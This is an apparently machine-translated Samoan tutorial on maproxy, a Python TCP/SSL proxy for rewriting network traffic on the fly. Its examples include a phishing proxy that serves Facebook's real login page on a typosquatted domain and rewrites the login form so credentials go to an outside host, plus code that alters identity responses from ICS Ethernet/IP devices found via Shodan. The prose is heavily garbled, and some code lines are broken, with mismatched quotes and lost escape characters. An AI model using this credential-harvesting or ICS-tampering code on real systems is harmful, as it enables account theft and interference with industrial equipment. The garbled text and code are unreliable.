O le faaliliuga o le tusiga na saunia i le afiafi o le amataga o le vasega
faʻamatalaga
O ituaiga eseese o suʻesuʻega saogalemu, e amata mai i suʻesuʻega masani ma faʻagaioiga Red Team i le hacking IoT/ICS masini ma SCADA, e aofia ai le galulue faʻatasi ma fesoʻotaʻiga fesoʻotaʻiga binary, o lona uiga, faʻalavelave ma suia faʻamatalaga fesoʻotaʻiga i le va o le kalani ma le sini. Sniffing network traffic e le o se galuega faigata talu ai o loʻo i ai a matou meafaigaluega e pei o Wireshark, Tcpdump poʻo Scapy, ae o le suiga e foliga mai o se galuega e sili atu ona mamafa galuega aua o le a manaʻomia ona i ai se ituaiga o fesoʻotaʻiga e faitau ai faʻamaumauga fesoʻotaʻiga, faʻamama, suia i luga o le lele ma toe auina atu i le nofoaga autu i le toetoe lava taimi moni. E le gata i lea, e lelei pe afai o sea meafaigaluega e mafai ona otometi ona galue i le tele o fesoʻotaʻiga tutusa ma faʻapitoa e faʻaaoga tusitusiga.
I se tasi aso na ou mauaina ai se meafaigaluega e taʻua
, na vave ona manino mai ia te aʻu e le faʻamaumauga maproxy
- na'o le mea ou te mana'omia. Ole mea lea ole sui ole TCP e fai si faigofie, tele ma faigofie. Na ou faʻataʻitaʻiina lenei meafaigaluega i luga o le tele o faʻaoga faigata, e aofia ai masini ICS (lea e gaosia ai le tele o pepa) e vaʻai ai pe mafai ona faʻatautaia le tele o fesoʻotaʻiga tutusa, ma lelei le meafaigaluega.
O lenei tusiga o le a faʻalauiloaina oe i le faʻaogaina o faʻamaumauga o fesoʻotaiga i luga o le lele e faʻaaoga ai maproxy
.
lagona
Meafaigaluega maproxy
e fa'avae i luga o le Tornado, ose ta'uta'ua ma matua fa'alava feso'otaiga feso'ota'iga i le Python.
I se tulaga lautele, e mafai ona galue i le tele o auala:
TCP:TCP
- feso'ota'iga TCP e le'i fa'ailogaina;TCP:SSL
иSSL:TCP
– fa'atasi ai ma fa'ailoga e tasi;SSL:SSL
– fa'ailoga fa'ailoga e lua.
E sau o se faletusi. Mo se amataga vave, e mafai ona e faʻaogaina faila faʻataʻitaʻiga e atagia ai le autu
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Matā'upu 1 – sui fa'atusa faigofie
E fua i luga tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
e faaletonu ProxyServer()
e lua finauga - o le nofoaga o feso'ota'iga ma le uafu fa'atatau. server.listen()
e tasi le finauga - o le uafu mo le faʻalogo i le fesoʻotaʻiga o loʻo sau.
Fa'atino le tala:
# python tcp2tcp.py
Ina ia mafai ona faʻatino le suʻega, o le a matou faʻafesoʻotaʻi i se SSH server i le lotoifale e ala i la matou faʻailoga sui, lea e faʻalogo i luga. 2222/tcp
uafu ma fesootai i se uafu masani 22/tcp
SSH servers:
O le fu'a fa'afeiloa'i e fa'ailoa atu ia te oe o la matou fa'ata'ita'iga fa'ata'ita'iga ua manuia le sui o fefa'ataua'iga feso'otaiga.
Matā'upu 2 - suiga fa'amaumauga
O le isi fa'amatalaga fa'aaliga logging_proxy.py
lelei mo le fegalegaleai ma faʻamatalaga fesoʻotaʻiga. O faʻamatalaga i totonu o le faila e faʻamatala ai metotia a le vasega e mafai ona e suia e ausia ai lau sini:
O le mea sili ona manaia o iinei:
on_c2p_done_read
– ia fa'alavelave fa'amaumauga i luga o le ala mai le kalani i le 'au'aunaga;on_p2s_done_read
- liliu.
Sei o tatou taumafai e sui le fu'a SSH e toe fo'i atu le server i le kalani:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Fa'atino le tala:
E pei ona e va'ai, na fa'aseseina le kalani ona o le igoa SSH server mo ia na suia i «DumnySSH»
.
Tulaga 3 – itulau faigofie phishing itulau uepi
E i ai auala e le gata e faʻaaoga ai lenei meafaigaluega. O le taimi lenei se'i o tatou taula'i atu i se mea e sili atu ona fa'atino mai le itu a le Red Team. Se'i tatou fa'ata'ita'i i le itulau e tula'i mai m.facebook.com
ma fa'aoga se vaega fa'ale-aganu'u fa'atasi ai ma se fa'aoga sese, mo se fa'ata'ita'iga, m.facebok.com
. Mo fa'amoemoega fa'ata'ita'iga, se'i tatou fa'apea o le domain na matou resitalaina.
O le a matou faʻatuina se fesoʻotaʻiga fesoʻotaʻiga e leʻi faʻamaonia ma a matou sui na afaina ma SSL Stream i le Facebook server (31.13.81.36
). Ina ia faʻaogaina lenei faʻataʻitaʻiga, e manaʻomia le sui o le HTTP host header ma tui le igoa talimalo saʻo, ma o le a matou faʻamalo foi le tali faʻamalosi ina ia faigofie ona matou mauaina mea o loʻo i totonu. Mulimuli ane o le a matou suia le fomu HTML ina ia auina mai ia i matou faʻamatalaga faʻamaonia nai lo sapalai a Facebook:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/sm/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
I le aotelega:
E pei ona e va'ai, na mafai ona matou suia le nofoaga muamua.
Matā'upu 4 – Fa'aola Ethernet/IP
Ua leva ona ou feagai ma masini fale gaosi oloa ma polokalama (ICS/SCADA), e pei o polokalame e pulea (PLC), I/O modules, ta'avale, relays, siosiomaga polokalame apefa'i ma le tele o isi mea. O lenei mataupu e mo i latou e fiafia i mea tau pisinisi. Hacking ia fofo e aofia ai le taʻalo malosi ma fesoʻotaʻiga protocols. I le faʻataʻitaʻiga o loʻo mulimuli mai, ou te manaʻo e faʻaalia pe faʻafefea ona e suia le ICS/SCADA fefaʻatauaʻiga fesoʻotaʻiga.
Mo lenei mea e te manaʻomia mea nei:
- Network sniffer, mo se faʻataʻitaʻiga, Wireshark;
- Ethernet / IP pe naʻo se SIP masini, e mafai ona e mauaina e faʻaaoga ai le auaunaga a Shodan;
- O la matou tusitusiga e faʻavae i luga
maproxy
.
Muamua, seʻi o tatou vaʻavaʻai pe faʻapefea se tali faʻamaonia masani mai le CIP (Common Industrial Protocol) e foliga mai:
E fa'ataunu'uina le fa'ailoaina o masini i le fa'aogaina o le Ethernet/IP protocol, o se fa'aleleia atili lea o le fa'alapotopotoga Ethernet fa'apisinisi lea e afifi ai fa'atonuga fa'atonutonu e pei ole CIP. O le a matou suia le faʻailoga ID igoa o loʻo vaaia i le faʻamalama "NI-IndComm mo Ethernet" fa'aaoga la matou fa'ailoga sui. E mafai ona matou toe faʻaaogaina le tusitusiga logging_proxy.py
ma fa'apena fo'i fa'alelei le auala a le vasega on_p2s_done_read
, aua matou te manana'o ia iloa se isi igoa fa'asinomaga i le kalani.
Code:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
O le mea moni, na matou fesili mo le faʻamaoniaina o masini faʻalua, o le tali lona lua o le mea muamua, ma o le muamua na suia i luga o le lele.
Ma le mulimuli
I lo'u manatu maproxy
O se meafaigaluega faigofie ma faigofie, o loʻo tusia foi i le Python, o lea ou te talitonu e mafai foi ona e manuia mai le faʻaaogaina. O le mea moni, o loʻo i ai ni mea faigaluega sili atu ona faigata mo le faʻaogaina ma le fesuiaiga o faʻamaumauga o fesoʻotaʻiga, ae latou te manaʻomia foʻi le sili atu le gauai ma e masani ona faia mo se faʻaoga faʻapitoa, eg. maproxy
e mafai ona vave faʻatinoina ou manatu mo le faʻalavelaveina o faʻamaumauga o fesoʻotaʻiga, talu ai o faʻataʻitaʻiga tusitusiga e matua manino lava.
puna: www.habr.com